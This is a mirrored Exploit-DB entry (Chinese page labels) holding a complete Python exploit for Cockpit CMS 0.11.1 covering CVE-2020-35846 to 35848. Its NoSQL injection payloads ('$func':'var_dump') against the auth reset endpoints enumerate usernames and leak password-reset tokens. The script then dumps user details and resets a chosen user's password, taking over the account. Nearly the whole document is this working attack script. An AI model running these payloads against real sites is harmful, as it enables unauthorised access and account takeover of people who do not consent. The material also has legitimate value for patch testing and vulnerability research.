Cockpit CMS 0.11.1 – ‘Username Enumeration & Password Reset’ NoSQL Injection

  • 作者: Brian Ombongi
    日期: 2021-08-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50185/
  • # Exploit Title: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection 
    # Date: 06-08-2021
    # Exploit Author: Brian Ombongi
    # Vendor Homepage: https://getcockpit.com/
    # Version: Cockpit 0.11.1
    # Tested on: Ubuntu 16.04.7
    # CVE : CVE-2020-35847 & CVE-2020-35848
    
    #!/usr/bin/python3
    import json
    import re
    import requests
    import random
    import string
    import argparse
    
    
    def usage():
    guide = 'python3 exploit.py -u <target_url> '
    return guide
    
    def arguments():
    parse = argparse.ArgumentParser(usage=usage())
    parse.add_argument('-u', dest='url', help='Site URL e.g http://cockpit.local', type=str, required=True)
    return parse.parse_args()
    
    def test_connection(url):
    	try:
    		get = requests.get(url)
    		if get.status_code == 200:
    			print(f"[+] {url}: is reachable")
    		else:
    			print(f"{url}: is Not reachable, status_code: {get.status_code}")
    	except requests.exceptions.RequestException as e:
    		raise SystemExit(f"{url}: is Not reachable \nErr: {e}")
    
    
    def enumerate_users(url):
    print("[-] Attempting Username Enumeration (CVE-2020-35846) : \n")
    url = url + "/auth/requestreset"
    headers = {
    "Content-Type": "application/json"
    }
    data= {"user":{"$func":"var_dump"}}
    req = requests.post(url, data=json.dumps(data), headers=headers)
    pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)
    matches = pattern.findall(req.content.decode('utf-8'))
    if matches:
    print ("[+] Users Found : " + str(matches))
    return matches
    else:
    print("No users found")
    
    def check_user(usernames):
    user = input("\n[-] Get user details For : ")
    if user not in usernames:
    print("User does not exist...Exiting")
    exit()
    else:
    return user
    
    
    def reset_tokens(url):
    print("[+] Finding Password reset tokens")
    url = url + "/auth/resetpassword"
    headers = {
    "Content-Type": "application/json"
    }
    data= {"token":{"$func":"var_dump"}}
    req = requests.post(url, data=json.dumps(data), headers=headers)
    pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)
    matches = pattern.findall(req.content.decode('utf-8'))
    if matches:
    print ("\t Tokens Found : " + str(matches))
    return matches
    else:
    print("No tokens found, ")
    
    
    def user_details(url, token):
    print("[+] Obtaining user information ")
    url = url + "/auth/newpassword"
    headers = {
    "Content-Type": "application/json"
    }
    userAndtoken = {}
    for t in token:
    data= {"token":t}
    req = requests.post(url, data=json.dumps(data), headers=headers)
    pattern=re.compile(r'(this.user\s*=)([^;]+)', re.I)
    matches = pattern.finditer(req.content.decode('utf-8'))
    for match in matches:
    matches = json.loads(match.group(2))
    if matches:
    print ("-----------------Details--------------------")
    for key, value in matches.items():
    
    print("\t", "[*]", key ,":", value) 
    else:
    print("No user information found.")
    user = matches['user']
    token = matches['_reset_token']
    userAndtoken[user] = token
    print("--------------------------------------------")
    continue
    return userAndtoken
    
    def password_reset(url, token, user):
    print("[-] Attempting to reset %s's password:" %user)
    characters = string.ascii_letters + string.digits + string.punctuation 
    password = ''.join(random.choice(characters) for i in range(10))
    url = url + "/auth/resetpassword"
    headers = {
    "Content-Type": "application/json"
    }
    data= {"token":token, "password":password}
    req = requests.post(url, data=json.dumps(data), headers=headers)
    if "success" in req.content.decode('utf-8'):
    print("[+] Password Updated Succesfully!")
    print("[+] The New credentials for %s is: \n \t Username : %s \n \t Password : %s" % (user, user, password))
    
    def generate_token(url, user):
    url = url + "/auth/requestreset"
    headers = {
    "Content-Type": "application/json"
    }
    data= {"user":user}
    req = requests.post(url, data=json.dumps(data), headers=headers)
    
    def confirm_prompt(question: str) -> bool:
    reply = None
    while reply not in ("", "y", "n"):
    reply = input(f"{question} (Y/n): ").lower()
    if reply == "y":
    return True
    elif reply == "n":
    return False
    else:
    return True
    
    def pw_reset_trigger(details, user, url):
    for key in details:
    if key == user:
    password_reset(url, details[key], key)
    else:
    continue
    
    
    
    if __name__ == '__main__':
    args = arguments()
    url = args.url
    test_connection(url)
    user = check_user(enumerate_users(url))
    generate_token(url, user)
    tokens = reset_tokens(url)
    details = user_details(url, tokens)
    print("\n")
    b = confirm_prompt("[+] Do you want to reset the passowrd for %s?" %user)
    if b:
    pw_reset_trigger(details, user, url)
    else:
    print("Exiting..")
    exit()